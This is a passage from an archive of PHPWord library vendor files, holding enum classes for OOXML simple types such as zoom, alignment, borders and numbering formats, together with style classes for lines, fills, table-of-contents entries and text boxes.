        foreach ($config as $key => $value) {
            $method = "set{$key}";
            if (method_exists(__CLASS__, $method)) {
                self::$method($value);
                $appliedConfig[$key] = $value;
            }
        }

        return $appliedConfig;
    }

    /**
     * Get default paper.
     */
    public static function getDefaultPaper(): string
    {
        return self::$defaultPaper;
    }

    /**
     * Set default paper.
     */
    public static function setDefaultPaper(string $value): bool
    {
        if (trim($value) !== '') {
            self::$defaultPaper = $value;

            return true;
        }

        return false;
    }
}
vendor/phpoffice/phpword/src/PhpWord/SimpleType/Zoom.php000066600000002127151150442730017401 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\SimpleType;

use PhpOffice\PhpWord\Shared\AbstractEnum;

/**
 * Magnification Preset Values.
 *
 * @since 0.14.0
 * @see http://www.datypic.com/sc/ooxml/t-w_ST_Zoom.html
 */
final class Zoom extends AbstractEnum
{
    //No Preset Magnification
    const NONE = 'none';

    //Display One Full Page
    const FULL_PAGE = 'fullPage';

    //Display Page Width
    const BEST_FIT = 'bestFit';

    //Display Text Width
    const TEXT_FIT = 'textFit';
}
vendor/phpoffice/phpword/src/PhpWord/SimpleType/LineSpacingRule.php000066600000002142151150442730021476 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\SimpleType;

use PhpOffice\PhpWord\Shared\AbstractEnum;

/**
 * Line Spacing Rule.
 *
 * @since 0.14.0
 * @see http://www.datypic.com/sc/ooxml/t-w_ST_LineSpacingRule.html
 */
final class LineSpacingRule extends AbstractEnum
{
    /**
     * Automatically Determined Line Height.
     */
    const AUTO = 'auto';

    /**
     * Exact Line Height.
     */
    const EXACT = 'exact';

    /**
     * Minimum Line Height.
     */
    const AT_LEAST = 'atLeast';
}
vendor/phpoffice/phpword/src/PhpWord/SimpleType/DocProtect.php000066600000002435151150442730020525 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\SimpleType;

use PhpOffice\PhpWord\Shared\AbstractEnum;

/**
 * Document Protection Types.
 *
 * @since 0.14.0
 * @see http://www.datypic.com/sc/ooxml/t-w_ST_DocProtect.html
 */
final class DocProtect extends AbstractEnum
{
    /**
     * No Editing Restrictions.
     */
    const NONE = 'none';

    /**
     * Allow No Editing.
     */
    const READ_ONLY = 'readOnly';

    /**
     * Allow Editing of Comments.
     */
    const COMMENTS = 'comments';

    /**
     * Allow Editing With Revision Tracking.
     */
    const TRACKED_CHANGES = 'trackedChanges';

    /**
     * Allow Editing of Form Fields.
     */
    const FORMS = 'forms';
}
vendor/phpoffice/phpword/src/PhpWord/SimpleType/VerticalJc.php000066600000002007151150442730020500 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\SimpleType;

use PhpOffice\PhpWord\Shared\AbstractEnum;

/**
 * Vertical Alignment Type.
 *
 * Introduced in ISO/IEC-29500:2008.
 *
 * @see http://www.datypic.com/sc/ooxml/t-w_ST_VerticalJc.html
 * @since 0.17.0
 */
final class VerticalJc extends AbstractEnum
{
    const TOP = 'top';
    const CENTER = 'center';
    const BOTH = 'both';
    const BOTTOM = 'bottom';
}
vendor/phpoffice/phpword/src/PhpWord/SimpleType/Jc.php000066600000004452151150442730017014 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\SimpleType;

use PhpOffice\PhpWord\Shared\AbstractEnum;

/**
 * Horizontal Alignment Type.
 *
 * Introduced in 1st Edition of ECMA-376. Initially it was intended to align paragraphs and tables.
 * Since ISO/IEC-29500:2008 the type must not be used for table alignment.
 *
 * @since 0.13.0
 * @see \PhpOffice\PhpWord\SimpleType\JcTable For table alignment modes available since ISO/IEC-29500:2008.
 * @see  http://www.datypic.com/sc/ooxml/t-w_ST_Jc.html
 */
final class Jc extends AbstractEnum
{
    const START = 'start';
    const CENTER = 'center';
    const END = 'end';
    const BOTH = 'both';
    const MEDIUM_KASHIDA = 'mediumKashida';
    const DISTRIBUTE = 'distribute';
    const NUM_TAB = 'numTab';
    const HIGH_KASHIDA = 'highKashida';
    const LOW_KASHIDA = 'lowKashida';
    const THAI_DISTRIBUTE = 'thaiDistribute';

    /**
     * Kept for compatibility with 1st edition of ECMA-376 standard.
     * Microsoft Word 2007 and WPS Writer 2016 still rely on it.
     *
     * @deprecated 0.13.0 For documents based on ISO/IEC 29500:2008 and later use `START` instead.
     */
    const LEFT = 'left';
    /**
     * Kept for compatibility with 1st edition of ECMA-376 standard.
     * Microsoft Word 2007 and WPS Writer 2016 still rely on it.
     *
     * @deprecated 0.13.0 For documents based on ISO/IEC 29500:2008 and later use `END` instead.
     */
    const RIGHT = 'right';
    /**
     * Kept for compatibility with 1st edition of ECMA-376 standard.
     * Microsoft Word 2007 and WPS Writer 2016 still rely on it.
     *
     * @deprecated 0.13.0 For documents based on ISO/IEC 29500:2008 and later use `BOTH` instead.
     */
    const JUSTIFY = 'justify';
}
vendor/phpoffice/phpword/src/PhpWord/SimpleType/Border.php000066600000006036151150442730017675 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\SimpleType;

use PhpOffice\PhpWord\Shared\AbstractEnum;

/**
 * Border Styles.
 *
 * @since 0.18.0
 * @see  http://www.datypic.com/sc/ooxml/t-w_ST_Border.html
 */
final class Border extends AbstractEnum
{
    const SINGLE = 'single'; //A single line
    const DASH_DOT_STROKED = 'dashDotStroked'; //A line with a series of alternating thin and thick strokes
    const DASHED = 'dashed'; //A dashed line
    const DASH_SMALL_GAP = 'dashSmallGap'; //A dashed line with small gaps
    const DOT_DASH = 'dotDash'; //A line with alternating dots and dashes
    const DOT_DOT_DASH = 'dotDotDash'; //A line with a repeating dot - dot - dash sequence
    const DOTTED = 'dotted'; //A dotted line
    const DOUBLE = 'double'; //A double line
    const DOUBLE_WAVE = 'doubleWave'; //A double wavy line
    const INSET = 'inset'; //An inset set of lines
    const NIL = 'nil'; //No border
    const NONE = 'none'; //No border
    const OUTSET = 'outset'; //An outset set of lines
    const THICK = 'thick'; //A single line
    const THICK_THIN_LARGE_GAP = 'thickThinLargeGap'; //A thick line contained within a thin line with a large-sized intermediate gap
    const THICK_THIN_MEDIUM_GAP = 'thickThinMediumGap'; //A thick line contained within a thin line with a medium-sized intermediate gap
    const THICK_THIN_SMALL_GAP = 'thickThinSmallGap'; //A thick line contained within a thin line with a small intermediate gap
    const THIN_THICK_LARGE_GAP = 'thinThickLargeGap'; //A thin line contained within a thick line with a large-sized intermediate gap
    const THIN_THICK_MEDIUM_GAP = 'thinThickMediumGap'; //A thick line contained within a thin line with a medium-sized intermediate gap
    const THIN_THICK_SMALL_GAP = 'thinThickSmallGap'; //A thick line contained within a thin line with a small intermediate gap
    const THIN_THICK_THINLARGE_GAP = 'thinThickThinLargeGap'; //A thin-thick-thin line with a large gap
    const THIN_THICK_THIN_MEDIUM_GAP = 'thinThickThinMediumGap'; //A thin-thick-thin line with a medium gap
    const THIN_THICK_THIN_SMALL_GAP = 'thinThickThinSmallGap'; //A thin-thick-thin line with a small gap
    const THREE_D_EMBOSS = 'threeDEmboss'; //A three-staged gradient line, getting darker towards the paragraph
    const THREE_D_ENGRAVE = 'threeDEngrave'; //A three-staged gradient like, getting darker away from the paragraph
    const TRIPLE = 'triple'; //A triple line
    const WAVE = 'wave'; //A wavy line
}
vendor/phpoffice/phpword/src/PhpWord/SimpleType/NumberFormat.php000066600000012543151150442730021061 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\SimpleType;

use PhpOffice\PhpWord\Shared\AbstractEnum;

/**
 * Numbering Format.
 *
 * @since 0.14.0
 * @see http://www.datypic.com/sc/ooxml/t-w_ST_NumberFormat.html.
 */
final class NumberFormat extends AbstractEnum
{
    //Decimal Numbers
    const DECIMAL = 'decimal';
    //Uppercase Roman Numerals
    const UPPER_ROMAN = 'upperRoman';
    //Lowercase Roman Numerals
    const LOWER_ROMAN = 'lowerRoman';
    //Uppercase Latin Alphabet
    const UPPER_LETTER = 'upperLetter';
    //Lowercase Latin Alphabet
    const LOWER_LETTER = 'lowerLetter';
    //Ordinal
    const ORDINAL = 'ordinal';
    //Cardinal Text
    const CARDINAL_TEXT = 'cardinalText';
    //Ordinal Text
    const ORDINAL_TEXT = 'ordinalText';
    //Hexadecimal Numbering
    const HEX = 'hex';
    //Chicago Manual of Style
    const CHICAGO = 'chicago';
    //Ideographs
    const IDEOGRAPH_DIGITAL = 'ideographDigital';
    //Japanese Counting System
    const JAPANESE_COUNTING = 'japaneseCounting';
    //AIUEO Order Hiragana
    const AIUEO = 'aiueo';
    //Iroha Ordered Katakana
    const IROHA = 'iroha';
    //Double Byte Arabic Numerals
    const DECIMAL_FULL_WIDTH = 'decimalFullWidth';
    //Single Byte Arabic Numerals
    const DECIMAL_HALF_WIDTH = 'decimalHalfWidth';
    //Japanese Legal Numbering
    const JAPANESE_LEGAL = 'japaneseLegal';
    //Japanese Digital Ten Thousand Counting System
    const JAPANESE_DIGITAL_TEN_THOUSAND = 'japaneseDigitalTenThousand';
    //Decimal Numbers Enclosed in a Circle
    const DECIMAL_ENCLOSED_CIRCLE = 'decimalEnclosedCircle';
    //Double Byte Arabic Numerals Alternate
    const DECIMAL_FULL_WIDTH2 = 'decimalFullWidth2';
    //Full-Width AIUEO Order Hiragana
    const AIUEO_FULL_WIDTH = 'aiueoFullWidth';
    //Full-Width Iroha Ordered Katakana
    const IROHA_FULL_WIDTH = 'irohaFullWidth';
    //Initial Zero Arabic Numerals
    const DECIMAL_ZERO = 'decimalZero';
    //Bullet
    const BULLET = 'bullet';
    //Korean Ganada Numbering
    const GANADA = 'ganada';
    //Korean Chosung Numbering
    const CHOSUNG = 'chosung';
    //Decimal Numbers Followed by a Period
    const DECIMAL_ENCLOSED_FULL_STOP = 'decimalEnclosedFullstop';
    //Decimal Numbers Enclosed in Parenthesis
    const DECIMAL_ENCLOSED_PAREN = 'decimalEnclosedParen';
    //Decimal Numbers Enclosed in a Circle
    const DECIMAL_ENCLOSED_CIRCLE_CHINESE = 'decimalEnclosedCircleChinese';
    //Ideographs Enclosed in a Circle
    const IDEOGRAPHENCLOSEDCIRCLE = 'ideographEnclosedCircle';
    //Traditional Ideograph Format
    const IDEOGRAPH_TRADITIONAL = 'ideographTraditional';
    //Zodiac Ideograph Format
    const IDEOGRAPH_ZODIAC = 'ideographZodiac';
    //Traditional Zodiac Ideograph Format
    const IDEOGRAPH_ZODIAC_TRADITIONAL = 'ideographZodiacTraditional';
    //Taiwanese Counting System
    const TAIWANESE_COUNTING = 'taiwaneseCounting';
    //Traditional Legal Ideograph Format
    const IDEOGRAPH_LEGAL_TRADITIONAL = 'ideographLegalTraditional';
    //Taiwanese Counting Thousand System
    const TAIWANESE_COUNTING_THOUSAND = 'taiwaneseCountingThousand';
    //Taiwanese Digital Counting System
    const TAIWANESE_DIGITAL = 'taiwaneseDigital';
    //Chinese Counting System
    const CHINESE_COUNTING = 'chineseCounting';
    //Chinese Legal Simplified Format
    const CHINESE_LEGAL_SIMPLIFIED = 'chineseLegalSimplified';
    //Chinese Counting Thousand System
    const CHINESE_COUNTING_THOUSAND = 'chineseCountingThousand';
    //Korean Digital Counting System
    const KOREAN_DIGITAL = 'koreanDigital';
    //Korean Counting System
    const KOREAN_COUNTING = 'koreanCounting';
    //Korean Legal Numbering
    const KOREAN_LEGAL = 'koreanLegal';
    //Korean Digital Counting System Alternate
    const KOREAN_DIGITAL2 = 'koreanDigital2';
    //Vietnamese Numerals
    const VIETNAMESE_COUNTING = 'vietnameseCounting';
    //Lowercase Russian Alphabet
    const RUSSIAN_LOWER = 'russianLower';
    //Uppercase Russian Alphabet
    const RUSSIAN_UPPER = 'russianUpper';
    //No Numbering
    const NONE = 'none';
    //Number With Dashes
    const NUMBER_IN_DASH = 'numberInDash';
    //Hebrew Numerals
    const HEBREW1 = 'hebrew1';
    //Hebrew Alphabet
    const HEBREW2 = 'hebrew2';
    //Arabic Alphabet
    const ARABIC_ALPHA = 'arabicAlpha';
    //Arabic Abjad Numerals
    const ARABIC_ABJAD = 'arabicAbjad';
    //Hindi Vowels
    const HINDI_VOWELS = 'hindiVowels';
    //Hindi Consonants
    const HINDI_CONSONANTS = 'hindiConsonants';
    //Hindi Numbers
    const HINDI_NUMBERS = 'hindiNumbers';
    //Hindi Counting System
    const HINDI_COUNTING = 'hindiCounting';
    //Thai Letters
    const THAI_LETTERS = 'thaiLetters';
    //Thai Numerals
    const THAI_NUMBERS = 'thaiNumbers';
    //Thai Counting System
    const THAI_COUNTING = 'thaiCounting';
}
vendor/phpoffice/phpword/src/PhpWord/SimpleType/TextAlignment.php000066600000002241151150442730021235 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\SimpleType;

use PhpOffice\PhpWord\Shared\AbstractEnum;

/**
 * Magnification Preset Values.
 *
 * @since 0.14.0
 * @see http://www.datypic.com/sc/ooxml/t-w_ST_TextAlignment.html
 */
final class TextAlignment extends AbstractEnum
{
    //Align Text at Top
    const TOP = 'top';

    //Align Text at Center
    const CENTER = 'center';

    //Align Text at Baseline
    const BASELINE = 'baseline';

    //Align Text at Bottom
    const BOTTOM = 'bottom';

    //Automatically Determine Alignment
    const AUTO = 'auto';
}
vendor/phpoffice/phpword/src/PhpWord/SimpleType/JcTable.php000066600000001647151150442730017767 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\SimpleType;

use PhpOffice\PhpWord\Shared\AbstractEnum;

/**
 * Table Alignment Type.
 *
 * Introduced in ISO/IEC-29500:2008.
 *
 * @since 0.13.0
 */
final class JcTable extends AbstractEnum
{
    const START = 'start';
    const CENTER = 'center';
    const END = 'end';
}
vendor/phpoffice/phpword/src/PhpWord/SimpleType/TblWidth.php000066600000002120151150442730020167 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\SimpleType;

use PhpOffice\PhpWord\Shared\AbstractEnum;

/**
 * Table Width Units.
 *
 * @since 0.15.0
 * @see http://www.datypic.com/sc/ooxml/t-w_ST_TblWidth.html
 */
final class TblWidth extends AbstractEnum
{
    //No Width
    const NIL = 'nil';

    //Automatically Determined Width
    const AUTO = 'auto';

    //Width in Fiftieths of a Percent
    const PERCENT = 'pct';

    //Width in Twentieths of a Point
    const TWIP = 'dxa';
}
vendor/phpoffice/phpword/src/PhpWord/Style/Line.php000066600000012673151150442730016360 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Style;

/**
 * Line style.
 */
class Line extends Image
{
    /**
     * Connector types.
     *
     * @const string
     */
    const CONNECTOR_TYPE_STRAIGHT = 'straight';

    /**
     * Arrow styles.
     *
     * @const string
     */
    const ARROW_STYLE_BLOCK = 'block';
    const ARROW_STYLE_OPEN = 'open';
    const ARROW_STYLE_CLASSIC = 'classic';
    const ARROW_STYLE_DIAMOND = 'diamond';
    const ARROW_STYLE_OVAL = 'oval';

    /**
     * Dash styles.
     *
     * @const string
     */
    const DASH_STYLE_DASH = 'dash';
    const DASH_STYLE_ROUND_DOT = 'rounddot';
    const DASH_STYLE_SQUARE_DOT = 'squaredot';
    const DASH_STYLE_DASH_DOT = 'dashdot';
    const DASH_STYLE_LONG_DASH = 'longdash';
    const DASH_STYLE_LONG_DASH_DOT = 'longdashdot';
    const DASH_STYLE_LONG_DASH_DOT_DOT = 'longdashdotdot';

    /**
     * flip Line.
     *
     * @var bool
     */
    private $flip = false;

    /**
     * connectorType.
     *
     * @var string
     */
    private $connectorType = self::CONNECTOR_TYPE_STRAIGHT;

    /**
     * Line Weight.
     *
     * @var int
     */
    private $weight;

    /**
     * Line color.
     *
     * @var string
     */
    private $color;

    /**
     * Dash style.
     *
     * @var string
     */
    private $dash;

    /**
     * Begin arrow.
     *
     * @var string
     */
    private $beginArrow;

    /**
     * End arrow.
     *
     * @var string
     */
    private $endArrow;

    /**
     * Get flip.
     *
     * @return bool
     */
    public function isFlip()
    {
        return $this->flip;
    }

    /**
     * Set flip.
     *
     * @param bool $value
     *
     * @return self
     */
    public function setFlip($value = false)
    {
        $this->flip = $this->setBoolVal($value, $this->flip);

        return $this;
    }

    /**
     * Get connectorType.
     *
     * @return string
     */
    public function getConnectorType()
    {
        return $this->connectorType;
    }

    /**
     * Set connectorType.
     *
     * @param string $value
     *
     * @return self
     */
    public function setConnectorType($value = null)
    {
        $enum = [
            self::CONNECTOR_TYPE_STRAIGHT,
        ];
        $this->connectorType = $this->setEnumVal($value, $enum, $this->connectorType);

        return $this;
    }

    /**
     * Get weight.
     *
     * @return int
     */
    public function getWeight()
    {
        return $this->weight;
    }

    /**
     * Set weight.
     *
     * @param int $value Weight in points
     *
     * @return self
     */
    public function setWeight($value = null)
    {
        $this->weight = $this->setNumericVal($value, $this->weight);

        return $this;
    }

    /**
     * Get color.
     *
     * @return string
     */
    public function getColor()
    {
        return $this->color;
    }

    /**
     * Set color.
     *
     * @param string $value
     *
     * @return self
     */
    public function setColor($value = null)
    {
        $this->color = $value;

        return $this;
    }

    /**
     * Get beginArrow.
     *
     * @return string
     */
    public function getBeginArrow()
    {
        return $this->beginArrow;
    }

    /**
     * Set beginArrow.
     *
     * @param string $value
     *
     * @return self
     */
    public function setBeginArrow($value = null)
    {
        $enum = [
            self::ARROW_STYLE_BLOCK, self::ARROW_STYLE_CLASSIC, self::ARROW_STYLE_DIAMOND,
            self::ARROW_STYLE_OPEN, self::ARROW_STYLE_OVAL,
        ];
        $this->beginArrow = $this->setEnumVal($value, $enum, $this->beginArrow);

        return $this;
    }

    /**
     * Get endArrow.
     *
     * @return string
     */
    public function getEndArrow()
    {
        return $this->endArrow;
    }

    /**
     * Set endArrow.
     *
     * @param string $value
     *
     * @return self
     */
    public function setEndArrow($value = null)
    {
        $enum = [
            self::ARROW_STYLE_BLOCK, self::ARROW_STYLE_CLASSIC, self::ARROW_STYLE_DIAMOND,
            self::ARROW_STYLE_OPEN, self::ARROW_STYLE_OVAL,
        ];
        $this->endArrow = $this->setEnumVal($value, $enum, $this->endArrow);

        return $this;
    }

    /**
     * Get Dash.
     *
     * @return string
     */
    public function getDash()
    {
        return $this->dash;
    }

    /**
     * Set Dash.
     *
     * @param string $value
     *
     * @return self
     */
    public function setDash($value = null)
    {
        $enum = [
            self::DASH_STYLE_DASH, self::DASH_STYLE_DASH_DOT, self::DASH_STYLE_LONG_DASH,
            self::DASH_STYLE_LONG_DASH_DOT, self::DASH_STYLE_LONG_DASH_DOT_DOT, self::DASH_STYLE_ROUND_DOT,
            self::DASH_STYLE_SQUARE_DOT,
        ];
        $this->dash = $this->setEnumVal($value, $enum, $this->dash);

        return $this;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Style/Fill.php000066600000002763151150442730016356 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Style;

/**
 * Fill style.
 *
 * There are still lot of interesting things for this style that can be added, including gradient. See @see .
 *
 * @see  http://www.schemacentral.com/sc/ooxml/t-v_CT_Fill.html
 * @since 0.12.0
 */
class Fill extends AbstractStyle
{
    /**
     * Color.
     *
     * @var string
     */
    private $color;

    /**
     * Create a new instance.
     *
     * @param array $style
     */
    public function __construct($style = [])
    {
        $this->setStyleByArray($style);
    }

    /**
     * Get color.
     *
     * @return string
     */
    public function getColor()
    {
        return $this->color;
    }

    /**
     * Set color.
     *
     * @param string $value
     *
     * @return self
     */
    public function setColor($value = null)
    {
        $this->color = $value;

        return $this;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Style/TOC.php000066600000004056151150442730016112 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Style;

/**
 * TOC style.
 */
class TOC extends Tab
{
    /**
     * Indent.
     *
     * @var float|int (twip)
     */
    private $indent = 200;

    /**
     * Create a new TOC Style.
     */
    public function __construct()
    {
        parent::__construct(self::TAB_STOP_RIGHT, 9062, self::TAB_LEADER_DOT);
    }

    /**
     * Get Tab Position.
     *
     * @return float|int
     */
    public function getTabPos()
    {
        return $this->getPosition();
    }

    /**
     * Set Tab Position.
     *
     * @param float|int $value
     *
     * @return self
     */
    public function setTabPos($value)
    {
        return $this->setPosition($value);
    }

    /**
     * Get Tab Leader.
     *
     * @return string
     */
    public function getTabLeader()
    {
        return $this->getLeader();
    }

    /**
     * Set Tab Leader.
     *
     * @param string $value
     *
     * @return self
     */
    public function setTabLeader($value = self::TAB_LEADER_DOT)
    {
        return $this->setLeader($value);
    }

    /**
     * Get Indent.
     *
     * @return float|int
     */
    public function getIndent()
    {
        return $this->indent;
    }

    /**
     * Set Indent.
     *
     * @param float|int $value
     *
     * @return self
     */
    public function setIndent($value)
    {
        $this->indent = $this->setNumericVal($value, $this->indent);

        return $this;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Style/TextBox.php000066600000010627151150442730017063 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Style;

/**
 * TextBox style.
 *
 * @since 0.11.0
 */
class TextBox extends Image
{
    /**
     * margin top.
     *
     * @var null|int
     */
    private $innerMarginTop;

    /**
     * margin left.
     *
     * @var null|int
     */
    private $innerMarginLeft;

    /**
     * margin right.
     *
     * @var null|int
     */
    private $innerMarginRight;

    /**
     * Cell margin bottom.
     *
     * @var null|int
     */
    private $innerMarginBottom;

    /**
     * border size.
     *
     * @var null|int
     */
    private $borderSize;

    /**
     * border color.
     *
     * @var null|string
     */
    private $borderColor;

    /**
     * background color.
     *
     * @var null|string
     */
    private $bgColor;

    /**
     * Set background color.
     */
    public function setBgColor(?string $value = null): void
    {
        $this->bgColor = $value;
    }

    /**
     * Get background color.
     */
    public function getBgColor(): ?string
    {
        return $this->bgColor;
    }

    /**
     * Set margin top.
     */
    public function setInnerMarginTop(?int $value = null): void
    {
        $this->innerMarginTop = $value;
    }

    /**
     * Get margin top.
     */
    public function getInnerMarginTop(): ?int
    {
        return $this->innerMarginTop;
    }

    /**
     * Set margin left.
     */
    public function setInnerMarginLeft(?int $value = null): void
    {
        $this->innerMarginLeft = $value;
    }

    /**
     * Get margin left.
     */
    public function getInnerMarginLeft(): ?int
    {
        return $this->innerMarginLeft;
    }

    /**
     * Set margin right.
     */
    public function setInnerMarginRight(?int $value = null): void
    {
        $this->innerMarginRight = $value;
    }

    /**
     * Get margin right.
     */
    public function getInnerMarginRight(): ?int
    {
        return $this->innerMarginRight;
    }

    /**
     * Set margin bottom.
     */
    public function setInnerMarginBottom(?int $value = null): void
    {
        $this->innerMarginBottom = $value;
    }

    /**
     * Get margin bottom.
     */
    public function getInnerMarginBottom(): ?int
    {
        return $this->innerMarginBottom;
    }

    /**
     * Set TLRB cell margin.
     *
     * @param null|int $value Margin in twips
     */
    public function setInnerMargin(?int $value = null): void
    {
        $this->setInnerMarginTop($value);
        $this->setInnerMarginLeft($value);
        $this->setInnerMarginRight($value);
        $this->setInnerMarginBottom($value);
    }

    /**
     * Get cell margin.
     *
     * @return int[]
     */
    public function getInnerMargin(): array
    {
        return [$this->innerMarginLeft, $this->innerMarginTop, $this->innerMarginRight, $this->innerMarginBottom];
    }

    /**
     * Has inner margin?
     */
    public function hasInnerMargins(): bool
    {
        $hasInnerMargins = false;
        $margins = $this->getInnerMargin();
        $numMargins = count($margins);
        for ($i = 0; $i < $numMargins; ++$i) {
            if ($margins[$i] !== null) {
                $hasInnerMargins = true;
            }
        }

        return $hasInnerMargins;
    }

    /**
     * Set border size.
     *
     * @param null|int $value Size in points
     */
    public function setBorderSize(?int $value = null): void
    {
        $this->borderSize = $value;
    }

    /**
     * Get border size.
     */
    public function getBorderSize(): ?int
    {
        return $this->borderSize;
    }

    /**
     * Set border color.
     */
    public function setBorderColor(?string $value = null): void
    {
